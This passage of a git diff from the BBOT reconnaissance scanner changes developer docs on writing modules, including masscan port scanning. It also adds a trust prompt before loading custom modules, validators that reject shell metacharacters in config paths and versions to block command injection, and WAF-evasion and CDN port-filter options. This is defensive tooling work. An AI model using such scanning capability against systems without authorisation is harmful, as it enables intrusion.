) -``` - -#### `handle_batch(self, *events)` -- bulk processing - -Used when `_batch_size > 1`. Receives multiple events at once. - -```python -# portscan.py - bulk port scanning with masscan -async def handle_batch(self, *events): - targets, correlator = await self.make_targets(events, self.syn_scanned) - async for ip, port, parent_event in self.masscan(targets, correlator): - await self.emit_open_port(ip, port, parent_event) -``` +BBOT has a helper for almost everything: HTTP requests, DNS resolution, domain and URL parsing, port strings, wordlists, temp files, subprocesses, regexes. **Please use them.** They are reachable from `self.helpers` inside any module, and most of what a new module needs already exists, so look before writing utility code of your own. The one thing worth knowing up front: run subprocesses with `self.run_process()` / `self.run_process_live()` rather than the raw helpers, so the module's processes are tracked and killed with it. -#### `filter_event(self, event)` -- custom event filtering - -Called before `handle_event()`. Return `True` to accept, `False` to reject, or `(False, "reason")` to reject with a logged reason. - -```python -# sslcert.py - skip ports that don't typically use SSL -async def filter_event(self, event): - if self.skip_non_ssl and event.port in self.non_ssl_ports: - return False, f"Port {event.port} doesn't typically use SSL" - return True -``` - -```python -# subdomain_enum.py template - reject wildcards and cloud resources -async def filter_event(self, event): - query = self.make_query(event) - is_wildcard = await self._is_wildcard(query) - if self.reject_wildcards and is_wildcard: - return False, "Event is a wildcard domain" - return True, "" -``` - -#### `setup(self)` -- one-time initialization - -Return values: -- `True` -- success -- `(True, "message")` -- success with message -- `None` or `(None, "message")` -- **soft fail**: module is disabled, scan continues -- `False` or `(False, "message")` -- **hard fail**: scan aborts - -```python -# portscan.py - validates config, checks masscan, checks IPv6 support -async def setup(self): - self.top_ports = self.config.get("top_ports", 100) - self.rate = self.config.get("rate", 300) - self.ports = self.config.get("ports", "") - if self.ports: - try: - self.helpers.parse_port_string(self.ports) - except ValueError as e: - return False, f"Error parsing ports '{self.ports}': {e}" - # ... - return True -``` - -```python -# subdomain_enum_apikey template - soft-fail if API key is missing -async def setup(self): - await super().setup() - return await self.require_api_key() - # Returns (None, "No API key set") if missing, disabling the module -``` - -#### `finish(self)` -- called when scan is finishing - -Can still emit events. May be called multiple times if new activity is detected. - -#### `report(self)` -- summary output - -Called once after `finish()`. Use for generating tables or summary data. - -```python -# asn.py - output ASN statistics -async def report(self): - self.log_table(table_data, headers=["ASN", "Subnet", "Count"], table_name="asns") -``` - -#### `cleanup(self)` -- resource cleanup - -Called once at the very end. Close files, delete temp files. **Cannot emit events.** - -```python -# json.py -async def cleanup(self): - if getattr(self, "_file", None) is not None: - with suppress(Exception): - self.file.close() -``` - -```python -# portscan.py -async def cleanup(self): - with suppress(Exception): - self.exclude_file.unlink() -``` - ---- - -### Emitting Events - -#### `emit_event(data, event_type, parent, **kwargs)` - -Creates and queues an event for processing by other modules. - -```python -# Simple string event -await self.emit_event("sub.example.com", "DNS_NAME", parent=event) - -# With context (used for discovery chain documentation) -await self.emit_event( - "sub.example.com", - "DNS_NAME", - parent=event, - context=f"{{module}} queried crt.sh and found {{event.type}}: {{event.data}}", -) - -# With tags -await self.emit_event(url, "URL_UNVERIFIED", parent=event, tags=["spider-danger"]) - -# FINDING event (dict data) -await self.emit_event( - { - "host": str(event.host), - "description": "Found something interesting", - "url": event.data["url"], - "severity": "HIGH", - }, - "FINDING", - parent=event, -) -``` - -#### `make_event(data, event_type, parent, **kwargs)` - -Creates an event without emitting it. Useful when you need to inspect or modify it first. - -```python -ssl_event = self.make_event(hostname, "DNS_NAME", parent=event, raise_error=True) -if ssl_event: - await self.emit_event(ssl_event, tags=["affiliate"]) -``` - ---- - -### API Helpers - -#### `api_request(url, **kwargs)` - -HTTP request with automatic retry, rate-limit handling (429), API key cycling, and failure tracking. After too many failures, the module enters error state. - -```python -r = await self.api_request("https://api.example.com/search?q=test") -if r and r.status_code == 200: - data = r.json() -``` - -#### `require_api_key()` - -Validates that an API key is configured. Call in `setup()`. - -```python -async def setup(self): - return await self.require_api_key() -``` - -#### `api_page_iter(url, page_size=100, **kwargs)` - -Async generator for paginated API results. URL can contain `{page}`, `{page_size}`, and `{offset}` placeholders. - -```python -async for page in self.api_page_iter("https://api.example.com/search?q=test&page={page}&limit={page_size}"): - if not page.get("results"): - break - for result in page["results"]: - await self.emit_event(result["hostname"], "DNS_NAME", parent=event) -``` - ---- - -### Running External Processes - -```python -# Run a command and get the result -result = await self.run_process(["nmap", "-p", "22,80", target]) -if result.returncode == 0: - output = result.stdout - -# Stream output line-by-line (for long-running tools) -async for line in self.run_process_live(["masscan", "-oJ", "-", ...]): - data = json.loads(line) -``` - ---- - -### Logging - -```python -self.debug("Low-level detail") # only visible with -d flag -self.verbose("Useful but not critical") # visible with -v flag -self.info("Standard info") -self.success("Something good happened") # green -self.warning("Something concerning") # orange -self.error("Something failed") # red - -# "Huge" variants: entire line in bold color -self.hugesuccess("Major discovery!") -self.hugewarning("Major concern!") -``` - ---- - -### Templates - -For common patterns, inherit from a template instead of `BaseModule` directly. Templates live in `bbot/modules/templates/`: - -- **`subdomain_enum`** - passive subdomain enumeration via free API. Handles dedup, wildcard rejection, query building. -- **`subdomain_enum_apikey`** - same as above but requires an API key. -- **`shodan`** - Shodan API integration. -- **`github`** - GitHub API integration. -- **`censys`** - Censys API integration. -- **`bucket`** - Cloud storage bucket enumeration. -- **`webhook`** - Webhook output. - -Example: `crt.py` inherits from `subdomain_enum` and only needs to override the request/parse logic: - -```python -from bbot.modules.templates.subdomain_enum import subdomain_enum - - -class crt(subdomain_enum): - flags = ["subdomain-enum", "passive"] - watched_events = ["DNS_NAME"] - produced_events = ["DNS_NAME"] - meta = { - "description": "Query crt.sh (certificate transparency) for subdomains", - "created_date": "2022-05-13", - "author": "@TheTechromancer", - } - base_url = "https://crt.sh" - - async def request_url(self, query): - params = {"q": f"%.{query}", "output": "json"} - url = self.helpers.add_get_params(self.base_url, params).geturl() - return await self.api_request(url, timeout=self.http_timeout + 30) - - async def parse_results(self, r, query): - results = set() - for cert_info in r.json(): - domain = cert_info.get("name_value") - if domain: - for d in domain.splitlines(): - results.add(d.lower()) - return results -``` - ---- - -### Module Types - -#### Scan Modules (default) -Normal modules that watch events and produce new ones. This is what you'll write 95% of the time. - -#### Output Modules -Inherit from `BaseOutputModule`. Receive all events and write them somewhere. - -```python -from bbot.modules.output.base import BaseOutputModule - - -class my_output(BaseOutputModule): - watched_events = ["*"] - meta = {"description": "Custom output"} - _preserve_graph = True # maintain complete event chains - - async def handle_event(self, event): - # write event to file, database, API, etc. - ... -``` - -Output modules automatically get: -- `accept_dupes = True` -- `scope_distance_modifier = None` (see all events) -- `_stats_exclude = True` - -#### Internal Modules -Inherit from `BaseInternalModule`. System-level modules that aren't exposed to users. - -#### Intercept Modules -Inherit from `BaseInterceptModule`. Special high-priority modules that can modify or reject events before they reach normal modules. Used for DNS resolution, cloud detection, etc. You probably don't need to write one. - ---- - -### Writing Tests - -Every module needs a test in `bbot/test/test_step_2/module_tests/`. The test file must be named `test_module_.py`. - -Test classes inherit from `ModuleTestBase` and follow this pattern: - -```python -from .base import ModuleTestBase - - -class TestMyModule(ModuleTestBase): - # Optional: override targets (default: ["blacklanternsecurity.com"]) - targets = ["http://127.0.0.1:8888"] - - # Optional: override which modules are enabled - modules_overrides = ["http", "my_module"] - - # Optional: override config - config_overrides = {"modules": {"my_module": {"some_option": True}}} - - async def setup_before_prep(self, module_test): - """Called BEFORE the scan is prepared. Set up HTTP mocks here.""" - pass - - async def setup_after_prep(self, module_test): - """Called AFTER the scan is prepared. Modify modules, add mocks here.""" - # Mock an HTTP response - module_test.blasthttp_mock.add_response( - url="https://api.example.com/lookup?domain=blacklanternsecurity.com", - json={"results": ["sub.blacklanternsecurity.com"]}, - ) - - # Mock DNS - await module_test.mock_dns( - { - "blacklanternsecurity.com": {"A": ["127.0.0.88"]}, - } - ) - - # Mock an HTTP server response - module_test.set_expect_requests( - expect_args={"method": "GET", "uri": "/robots.txt"}, - respond_args={"response_data": "Disallow: /secret/"}, - ) - - def check(self, module_test, events): - """Verify the scan produced the expected events.""" - assert any(e.data == "sub.blacklanternsecurity.com" and e.type == "DNS_NAME" for e in events), ( - "Failed to find subdomain" - ) -``` - -The test lifecycle runs: -1. `setup_before_prep()` - set up mocks -2. Scan `_prep()` - loads modules, config -3. `setup_after_prep()` - modify scan state -4. Scan runs and collects events -5. `check()` - your assertions - -### Test Utilities - -- **`module_test.blasthttp_mock`** - mock HTTP responses -- **`module_test.httpserver`** - real HTTP server on port 8888 -- **`module_test.httpserver_ssl`** - real HTTPS server on port 9999 -- **`module_test.mock_dns(data)`** - mock DNS responses -- **`module_test.mock_interactsh(name)`** - mock out-of-band interactions -- **`module_test.module`** - reference to the module instance being tested -- **`module_test.scan`** - reference to the Scanner instance - -Real example -- `test_module_robots.py`: - -```python -class TestRobots(ModuleTestBase): - targets = ["http://127.0.0.1:8888"] - modules_overrides = ["http", "robots"] - config_overrides = {"modules": {"robots": {"include_sitemap": True}}} - - async def setup_after_prep(self, module_test): - robots = "Allow: /allow/\nDisallow: /disallow/\nSitemap: http://127.0.0.1:8888/sitemap.txt" - module_test.set_expect_requests( - expect_args={"method": "GET", "uri": "/robots.txt"}, - respond_args={"response_data": robots}, - ) - - def check(self, module_test, events): - assert any(e.data == "http://127.0.0.1:8888/allow/" for e in events) - assert any(e.data == "http://127.0.0.1:8888/disallow/" for e in events) - assert any(e.data == "http://127.0.0.1:8888/sitemap.txt" for e in events) -``` +The full list is generated from the source under [docs/dev/helpers/](docs/dev/helpers/index.md), split by area (command, dns, web, interactsh, wordcloud, misc). `bbot/core/helpers/misc.py` holds the long tail of small utilities and is worth skimming once. diff --git a/CLAUDE.md b/CLAUDE.md index ec23a777d5..43c994c2d3 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -1 +1 @@ -Treat @AGENTS.md the same way you'd treat CLAUDE.md. \ No newline at end of file +@AGENTS.md diff --git a/README.md b/README.md index 6df88e3771..6f3d1b5c34 100644 --- a/README.md +++ b/README.md @@ -404,6 +404,7 @@ For details, see [Configuration](https://www.blacklanternsecurity.com/bbot/Stabl - [Lightfuzz](https://www.blacklanternsecurity.com/bbot/Stable/modules/lightfuzz) - [Webbrute](https://www.blacklanternsecurity.com/bbot/Stable/modules/webbrute) - **Migration** + - [3.0 → 3.1 Breaking Changes](https://www.blacklanternsecurity.com/bbot/Stable/migration/3.1_breaking_changes) - [2.x → 3.0 Breaking Changes](https://www.blacklanternsecurity.com/bbot/Stable/migration/3.0_breaking_changes) - **Misc** - [Contribution](https://www.blacklanternsecurity.com/bbot/Stable/contribution) diff --git a/bbot/__init__.py b/bbot/__init__.py index 1a7242313c..16844023ad 100644 --- a/bbot/__init__.py +++ b/bbot/__init__.py @@ -1,6 +1,31 @@ +import subprocess +from pathlib import Path from importlib.metadata import version, PackageNotFoundError try: __version__ = version("bbot") except PackageNotFoundError: __version__ = "0.0.0" + + +def _git_commit(): + # only git checkouts have .git next to the package (a file, not a dir, in worktrees) + repo_root = Path(__file__).resolve().parent.parent + if not (repo_root / ".git").exists(): + return None + try: + result = subprocess.run( + ["git", "-C", str(repo_root), "describe", "--always", "--dirty", "--abbrev=9", "--exclude=*"], + capture_output=True, + text=True, + timeout=2, + ) + except (OSError, subprocess.SubprocessError): + return None + if result.returncode != 0: + return None + return result.stdout.strip() or None + + +_commit = _git_commit() +__full_version__ = f"{__version__} (git:{_commit})" if _commit else __version__ diff --git a/bbot/cli.py b/bbot/cli.py index 72a457d2b7..574c5c1080 100755 --- a/bbot/cli.py +++ b/bbot/cli.py @@ -6,7 +6,7 @@ import logging import multiprocessing from bbot.errors import * -from bbot import __version__ +from bbot import __full_version__ from bbot.logger import log_to_stderr from bbot.core.helpers.misc import chain_lists @@ -16,7 +16,7 @@ no_color = "--no-color" in sys.argv or bool(os.environ.get("NO_COLOR", "")) if no_color: os.environ["NO_COLOR"] = "1" - silent = "-s" in sys.argv or "--silent" in sys.argv + silent = "-S" in sys.argv or "--silent" in sys.argv if not silent: o = "" if no_color else "\033[1;38;5;208m" @@ -27,7 +27,7 @@ {o}| ___ <{e}| __ <| | | | | | {o}| |___) {e}| |__) | |__| | | | {o}|______/{e}|_____/ \____/ |_| - {o}BIGHUGE{e} BLS OSINT TOOL {__version__} + {o}BIGHUGE{e} BLS OSINT TOOL {__full_version__} www.blacklanternsecurity.com/bbot """ @@ -36,6 +36,30 @@ scan_name = "" +def stdin_is_tty(): + # In some environments (e.g. tests) stdin may be closed or not support isatty(). Treat those cases as non-interactive. + try: + return sys.stdin.isatty() + except (ValueError, io.UnsupportedOperation): + return False + + +def confirm(question, refusal, options): + """ + Ask a yes/no question, which --yes answers. Returns None if it can't be asked (--silent hides it, + or there's no terminal), after printing `refusal` as an error. + """ + if options.yes: + return True + if options.silent or not stdin_is_tty(): + reason = "--silent hides the prompt" if options.silent else "there's no terminal to ask" + log_to_stderr(f"{refusal} ({reason}); re-run with --yes to proceed.", level="ERROR") + return None + # write the question to stderr (not via input()'s stdout prompt) so it isn't swallowed by `> out` / `| jq` + log_to_stderr(f"{question} [y/N] ", level="WARNING") + return input().strip().lower() in ("y", "yes") + + async def _main(): import asyncio import traceback @@ -54,6 +78,27 @@ async def _main(): try: # start by creating a default scan preset preset = Preset(_log=True, name="bbot_cli_main") + + # ask before anything in a custom module dir is read, since even validating a module executes code + def confirm_module_dir(module_dir, module_names, notes): + # written directly to stderr, since queued log messages could land after the input() prompt + log_to_stderr(f'About to load and validate custom modules from "{module_dir}"', level="HUGEWARNING") + log_to_stderr(f" Modules in this folder: {', '.join(module_names) or '(none)'}", level="WARNING") + for note in notes: + log_to_stderr(f" {note}", level="WARNING") + log_to_stderr( + "Custom modules are Python code that runs with your privileges. " + "Even validating a malicious module can result in code execution.", + level="WARNING", + ) + return confirm( + "Do you trust this folder?", + "Refusing to load custom modules without confirmation", + preset.args.parsed, + ) + + preset.module_loader.confirm_module_dir = confirm_module_dir + # parse command line arguments and merge into preset try: preset.parse_args() @@ -83,7 +128,7 @@ async def _main(): # --version if options.version: - print(__version__) + print(__full_version__) sys.exit(0) return @@ -101,20 +146,14 @@ async def _main(): for p in reset_paths: log.warning(f" {p}") log.warning("A backup of each existing file will be saved with a .bak extension.") - try: - stdin_is_tty = sys.stdin.isatty() - except (ValueError, io.UnsupportedOperation): - stdin_is_tty = False - if not options.yes: - if not stdin_is_tty: - log.error("Refusing to reset config without confirmation; re-run with --yes to proceed.") - sys.exit(1) - return - answer = input("Continue? [y/N] ").strip().lower() - if answer not in ("y", "yes"): - log.info("Aborted. No changes made.") - sys.exit(0) - return + answer = confirm("Continue?", "Refusing to reset config without confirmation", options) + if answer is None: + sys.exit(1) + return + if not answer: + log.info("Aborted. No changes made.") + sys.exit(0) + return backups = preset.module_loader.reset_config_files(reset_labels) log.success("Regenerated config files from current defaults.") for b in backups: @@ -290,13 +329,7 @@ async def _main(): if not options.dry_run: log.trace(f"Command: {' '.join(sys.argv)}") - # In some environments (e.g. tests) stdin may be closed or not support isatty(). Treat those cases as non-interactive. - try: - stdin_is_tty = sys.stdin.isatty() - except (ValueError, io.UnsupportedOperation): - stdin_is_tty = False - - if stdin_is_tty: + if stdin_is_tty(): # warn if any targets belong directly to a cloud provider if not scan.preset.strict_scope: from cloudcheck import CloudCheckError @@ -334,7 +367,8 @@ async def _main(): f"INVASIVE modules enabled: {','.join(invasive_modules)}. These may be intrusive or destructive. To exclude, use -ef invasive" ) - if not options.yes: + # only a pause, not a safety check, so it's skipped when --silent would hide it + if not options.yes and not options.silent: log.hugesuccess(f"Scan ready. Press enter to execute {scan.name}") input() @@ -409,6 +443,9 @@ async def akeyboard_listen(): log.trace(traceback.format_exc()) finally: + # the trust prompt belongs to this CLI run, not to the shared module loader + with suppress(BaseException): + preset.module_loader.confirm_module_dir = None # save word cloud with suppress(BaseException): scan.helpers.word_cloud.save() diff --git a/bbot/core/config/files.py b/bbot/core/config/files.py index bf04591132..46698ed18b 100644 --- a/bbot/core/config/files.py +++ b/bbot/core/config/files.py @@ -59,7 +59,7 @@ def _get_config(self, filename, name="config") -> dict: f"Error parsing config at {filename}: expected a YAML mapping at the top level, " f"got {type(conf).__name__}" ) - cli_silent = any(x in sys.argv for x in ("-s", "--silent")) + cli_silent = any(x in sys.argv for x in ("-S", "--silent")) if __name__ == "__main__" and not cli_silent: log_to_stderr(f"Loaded {name} from {filename}") return conf diff --git a/bbot/core/config/models.py b/bbot/core/config/models.py index 3f3e85105d..1782132576 100644 --- a/bbot/core/config/models.py +++ b/bbot/core/config/models.py @@ -14,9 +14,10 @@ from __future__ import annotations import os +import re from typing import Annotated, Any, Literal, Optional -from pydantic import BaseModel, BeforeValidator, ConfigDict, field_validator +from pydantic import AfterValidator, BaseModel, BeforeValidator, ConfigDict, field_validator from pydantic import Field as _PydanticField from pydantic_core import PydanticUndefined @@ -38,10 +39,42 @@ def _normalize_upper(v): Literal["UNKNOWN", "LOW", "MEDIUM", "HIGH", "CONFIRMED"], BeforeValidator(_normalize_upper) ] +# Version strings are interpolated into a module's dependency install steps (download URLs, +# shell commands), so they're restricted to characters that appear in real version tags. +_VERSION_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._+-]*$") -def Field(default=PydanticUndefined, *, sensitive: bool = False, mandatory: bool = False, **kwargs): + +def _validate_version(v): + if isinstance(v, str) and not _VERSION_RE.match(v): + raise ValueError(f'invalid version string: "{v}"') + return v + + +# Type for module `version` options, used across tool-wrapping modules. +VersionStr = Annotated[str, AfterValidator(_validate_version)] + + +# Paths from config are interpolated into dependency install steps, some of which run through a shell +# (e.g. #{BBOT_TOOLS} from `home`), so reject shell metacharacters that would break out of the path. +_SHELL_UNSAFE = set(";|&$`<>\n\r()") + + +def _validate_safe_path(v): + if isinstance(v, str) and (set(v) & _SHELL_UNSAFE): + raise ValueError(f'invalid path (contains shell metacharacters): "{v}"') + return v + + +def Field( + default=PydanticUndefined, + *, + sensitive: bool = False, + mandatory: bool = False, + deprecated: bool | str = False, + **kwargs, +): """ - Drop-in replacement for `pydantic.Field` that records two BBOT-specific + Drop-in replacement for `pydantic.Field` that records BBOT-specific flags as field metadata: - `sensitive=True`: value should be redacted when serializing configs @@ -49,8 +82,12 @@ def Field(default=PydanticUndefined, *, sensitive: bool = False, mandatory: bool - `mandatory=True`: option must be supplied for the module to function; drives the "Needs API Key" column in `bbot -l` and the `BaseModule.auth_required` property. + - `deprecated=True`: option is no longer used. It is still accepted so + existing presets keep working, but it is ignored, left out of defaults + and docs, and setting it logs a warning at scan startup. Pass a string + instead of `True` to add it to that warning (e.g. what to use instead). - Both flags are stashed under `json_schema_extra` so pydantic preserves + The flags are stashed under `json_schema_extra` so pydantic preserves them on `FieldInfo.json_schema_extra` (and in any generated JSON schema) without affecting validation. All other arguments pass through unchanged. """ @@ -59,6 +96,8 @@ def Field(default=PydanticUndefined, *, sensitive: bool = False, mandatory: bool extra["sensitive"] = True if mandatory: extra["mandatory"] = True + if deprecated: + extra["deprecated"] = deprecated if extra: kwargs["json_schema_extra"] = extra return _PydanticField(default, **kwargs) @@ -78,6 +117,10 @@ def is_mandatory(field) -> bool: return bool(field_flags(field).get("mandatory")) +def is_deprecated(field) -> bool: + return bool(field_flags(field).get("deprecated")) + + def _unwrap_optional(annotation): """Strip a single `Optional[X]` / `Union[X, None]` wrapper, return X. Pass-through otherwise.""" import typing @@ -231,6 +274,30 @@ def partition_sensitive_config(config, model, *, keep_sensitive: bool): return out +def find_deprecated_config(config, model, prefix=""): + """ + Walk `config` (a dict) alongside the pydantic `model` and return every deprecated + option that is set, as `{dotted_path: message}`, e.g. `{"modules.slack.retries": ""}`. + The message is the string passed as `deprecated=`, or "" for `deprecated=True`. + """ + found = {} + if not isinstance(config, dict) or model is None: + return found + for key, val in config.items(): + field = _resolve_field(model, key) + if field is None: + continue + dotted = f"{prefix}.{key}" if prefix else str(key) + if is_deprecated(field): + message = field_flags(field)["deprecated"] + found[dotted] = message if isinstance(message, str) else "" + continue + sub_model = _field_submodel(field) + if sub_model is not None: + found.update(find_deprecated_config(val, sub_model, dotted)) + return found + + class ScopeConfig(BaseModel): model_config = STRICT @@ -244,10 +311,18 @@ class DnsConfig(BaseModel): disable: Optional[bool] = None minimal: Optional[bool] = None + nameservers: Optional[list[str]] = None threads: Optional[int] = None + max_concurrency: Optional[int] = None cache_size: Optional[int] = None brute_threads: Optional[int] = None + brute_inflight_per_resolver: Optional[int] = None + brute_rate_limit: Optional[float] = None + brute_retries: Optional[int] = None + brute_timeout: Optional[float] = None + brute_persistent_socket: Optional[bool] = None brute_nameservers: Optional[str] = None + brute_max_resolvers: Optional[int] = None search_distance: Optional[int] = None runaway_limit: Optional[int] = None timeout: Optional[int] = None @@ -261,6 +336,16 @@ class DnsConfig(BaseModel): omit_queries: Optional[list[str]] = None +class CdnPortFilterConfig(BaseModel): + """`cdn_port_filter` — drops open ports and URLs on CDN/WAF hosts outside the allowed ports.""" + + model_config = STRICT + + enabled: Optional[bool] = None + tags: Optional[list[str]] = None + allowed_ports: Optional[list[int]] = None + + class BodySpillConfig(BaseModel): """`web.body_spill` — keeps large HTTP_RESPONSE bodies off the Python heap.""" @@ -289,6 +374,8 @@ class WebConfig(BaseModel): http_retries: Optional[int] = None http_rate_limit: Optional[int] = None body_spill: Optional[BodySpillConfig] = None + nowafpls_padding_sizes: Optional[list[int]] = None + nowafpls_payload: Optional[str] = None # The `429_*` keys start with a digit, so we expose them via aliases. sleep_interval_429: Optional[int] = Field(default=None, alias="429_sleep_interval") max_sleep_interval_429: Optional[int] = Field(default=None, alias="429_max_sleep_interval") @@ -375,8 +462,9 @@ class BBOTConfig(BaseModel): engine: Optional[EngineConfig] = None deps: Optional[DepsConfig] = None - # Module loader paths - module_dirs: Optional[list[str]] = None + module_dirs: Optional[list[str]] = Field( + None, deprecated="Set module_dirs at the top level of a preset and load it with -p." + ) # Module runtime module_handle_event_timeout: Optional[int] = None @@ -395,10 +483,14 @@ class BBOTConfig(BaseModel): # URL handling url_querystring_remove: Optional[bool] = None url_querystring_collapse: Optional[bool] = None + url_max_path_param_repeats: Optional[int] = None url_extension_blacklist: Optional[list[str]] = None url_extension_special: Optional[list[str]] = None url_extension_static: Optional[list[str]] = None + # CDN/WAF port filtering + cdn_port_filter: Optional[CdnPortFilterConfig] = None + # Parameter handling parameter_blacklist: Optional[list[str]] = None parameter_blacklist_prefixes: Optional[list[str]] = None @@ -415,6 +507,7 @@ class BBOTConfig(BaseModel): bbot_io_api_key: Optional[str] = Field(default=None, sensitive=True) _validate_interactsh_server = field_validator("interactsh_server")(validate_fqdn_or_ip) + _validate_home = field_validator("home")(_validate_safe_path) # Per-module configs — validated separately, per-module, against each # module's own `class Config(BaseModuleConfig)`. @@ -478,10 +571,13 @@ class PresetSchema(BaseModel): "PresetSchema", "ScopeConfig", "SeverityLiteral", + "VersionStr", "WebConfig", "coerce_config", "coerce_value", "field_flags", + "find_deprecated_config", + "is_deprecated", "is_mandatory", "is_sensitive", "partition_sensitive_config", diff --git a/bbot/core/core.py b/bbot/core/core.py index 983d489d0f..615e792047 100644 --- a/bbot/core/core.py +++ b/bbot/core/core.py @@ -64,21 +64,35 @@ def _prep_multiprocessing(self): def home(self): return Path(self.config["home"]).expanduser().resolve() + @property + def deps_home(self): + """ + Install state, downloaded tools and libs are keyed on content, not on the scan, + so concurrent scans can share them. BBOT_SHARED_DEPS_DIR points them at one + location while everything scan-specific stays under home. + """ + shared = os.environ.get("BBOT_SHARED_DEPS_DIR", "").strip() + if shared: + return Path(shared).expanduser().resolve() + return self.home + @property def cache_dir(self): - return self.home / "cache" + return self.deps_home / "cache" @property def tools_dir(self): - return self.home / "tools" + return self.deps_home / "tools" @property def temp_dir(self): - return self.home / "temp" + # BBOT_TEMP is the scratch dir for dependency builds and is baked into the + # module hash, so it belongs with the other install-once dirs. + return self.deps_home / "temp" @property def lib_dir(self): - return self.home / "lib" + return self.deps_home / "lib" @property def scans_dir(self): diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 2602f4debe..57c1ac1e25 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -142,6 +142,9 @@ class BaseEvent: _discovery_context_regex = re.compile(r"\{(?:event|module)[^}]*\}") # Stats class for the status line — override in subclasses for custom formatting _stats_class = None + # Whether this event is subject to `url_extension_special` distribution filtering. + # False for events representing already-retrieved content, whose consumers analyze the body. + _url_special_filterable = True # using __slots__ dramatically reduces memory usage in large scans __slots__ = [ @@ -546,7 +549,11 @@ def tags(self, tags): def add_tag(self, tag): if self._tags is None: self._tags = set() - self._tags.add(sys.intern(tagify(tag))) + tag = tagify(tag) + # an in-scope event is never an affiliate (refresh_scope_tags covers events that become in-scope later) + if tag == "affiliate" and getattr(self, "_scope_distance", None) == 0: + return + self._tags.add(sys.intern(tag)) def add_tags(self, tags): for tag in set(tags): @@ -958,6 +965,14 @@ def json(self, mode="json"): web_spider_distance = getattr(self, "web_spider_distance", None) if web_spider_distance is not None: j["web_spider_distance"] = web_spider_distance + # kept out of `data` so the snapshot URL doesn't become part of the event's identity + archive_url = self.archive_url + if archive_url: + j["archive_url"] = archive_url + # also kept out of `data`, though unlike archive_url this one does feed the event's identity + reemit_source = getattr(self, "reemit_source", None) + if reemit_source: + j["reemit_source"] = reemit_source # scope distance j["scope_distance"] = self.scope_distance # scan @@ -1160,18 +1175,24 @@ def sanitize_data(self, data): class DictEvent(BaseEvent): __slots__ = ["url_extension"] + def _set_url_extension(self): + """Extract the file extension from self.parsed_url and record it as an attribute and a tag.""" + parsed_url = getattr(self, "parsed_url", None) + if parsed_url is None: + return + url_path = parsed_url.path + if not url_path: + return + extension = get_file_extension(str(url_path).lower()) + if extension: + self.url_extension = extension + self.add_tag(f"extension-{extension}") + def sanitize_data(self, data): url = data.get("url", "") if url: self.parsed_url = self.validators.validate_url_parsed(url) - # extract url_extension from any dict event with a URL - url_path = self.parsed_url.path - if url_path: - parsed_path_lower = str(url_path).lower() - extension = get_file_extension(parsed_path_lower) - if extension: - self.url_extension = extension - self.add_tag(f"extension-{extension}") + self._set_url_extension() return data def _data_load(self, data): @@ -1191,7 +1212,7 @@ def _host(self): class ClosestHostEvent(DictHostEvent): - # if a host/path/url isn't specified, this event type grabs it from the closest parent + # if a host isn't specified, this event type grabs host, port, url and path from the closest parent # inherited by FINDING def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) @@ -1210,9 +1231,9 @@ def __init__(self, *args, **kwargs): # inherit closest host+port if parent.host: self.data["host"] = str(parent.host) - self._port = parent.port - # we do this to refresh the hash + # we do this to refresh the hash (this also clears _port, so it must come first) self.data = self.data + self._port = parent.port break # die if we still haven't found a host if not self.host and not self.data.get("path", ""): @@ -1442,15 +1463,7 @@ def sanitize_data(self, data): self.parsed_url = self.validators.validate_url_parsed(url) data["url"] = self.parsed_url.geturl() - # special handling of URL extensions - if self.parsed_url is not None: - url_path = self.parsed_url.path - if url_path: - parsed_path_lower = str(url_path).lower() - extension = get_file_extension(parsed_path_lower) - if extension: - self.url_extension = extension - self.add_tag(f"extension-{extension}") + self._set_url_extension() # tag as dir or endpoint if str(self.parsed_url.path).endswith("/"): @@ -1632,9 +1645,24 @@ def sanitize_data(self, data): log.verbose(f"Error detecting envelopes for {self}: {e}") return data + def _dedup_url(self, url): + """The page the parameter lives on, with the query string reduced the way URL events + reduce theirs: parameter names are identity, their values are not unless + url_querystring_collapse is False. Ordering never is.""" + base, sep, query = url.partition("?") + if not sep or self.scan is None: + return url + # keep_blank_values, or "?debug=" silently stops being a parameter + query_dict = parse_qs(query, keep_blank_values=True) + if self.scan.config.get("url_querystring_collapse", True): + kept = "|".join(sorted(query_dict.keys())) + else: + kept = "&".join(f"{k}={','.join(sorted(v))}" for k, v in sorted(query_dict.items())) + return f"{base}?{kept}" + def _data_id(self): # dedupe by url:name:param_type - url = self.data.get("url", "") + url = self._dedup_url(self.data.get("url", "")) name = self.data.get("name", "") param_type = self.data.get("type", "") envelopes = getattr(self, "envelopes", "") @@ -1646,7 +1674,7 @@ def _outgoing_dedup_hash(self, event): return hash( ( str(event.host), - event.data["url"], + event._dedup_url(event.data["url"]), event.data.get("name", ""), event.data.get("type", ""), event.data.get("envelopes", ""), @@ -1699,6 +1727,10 @@ def _words(self): class HTTP_RESPONSE(URL_UNVERIFIED): + # the response body has already been retrieved, so content-analysis modules + # should still receive it even for special extensions like .js + _url_special_filterable = False + def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) # count number of consecutive redirects @@ -1745,13 +1777,37 @@ def body(self): return "" return body_bytes.decode("utf-8", errors="replace") + @property + def reemit_source(self): + """Name of the module that re-emitted this response with a transformed body. + + Kept off ``data`` so the marker isn't part of the event's public body. ``json()`` + surfaces it top-level and ``event_from_json()`` restores it. + """ + return getattr(self, "_reemit_source", None) + + @reemit_source.setter + def reemit_source(self, value): + self._reemit_source = value + # the marker feeds _data_id, so any already-cached identity is stale + self._id = None + self._data_hash = None + self._hash = None + def _data_id(self): - return self.data["method"] + "|" + self.data["url"] + base = self.data["method"] + "|" + self.data["url"] + # a module re-emitting the same (method, url) with a transformed body sets + # reemit_source, so the two events don't collide on event.id and get deduped away + reemit_source = self.reemit_source + if reemit_source: + return base + "|" + str(reemit_source) + return base def sanitize_data(self, data): url = data.get("url", "") self.parsed_url = self.validators.validate_url_parsed(url) data["url"] = self.parsed_url.geturl() + self._set_url_extension() if not "raw_header" in data: raise ValueError("raw_header is required for HTTP_RESPONSE events") @@ -1935,6 +1991,8 @@ def sanitize_data(self, data): class _data_validator(BaseModel): host: Optional[str] = None + # for findings that aren't on a URL, e.g. a TLS or TCP service + port: Optional[int] = None severity: str name: str description: str @@ -1946,9 +2004,14 @@ class _data_validator(BaseModel): archive_url: Optional[str] = None _validate_url = field_validator("url")(validators.validate_url) _validate_host = 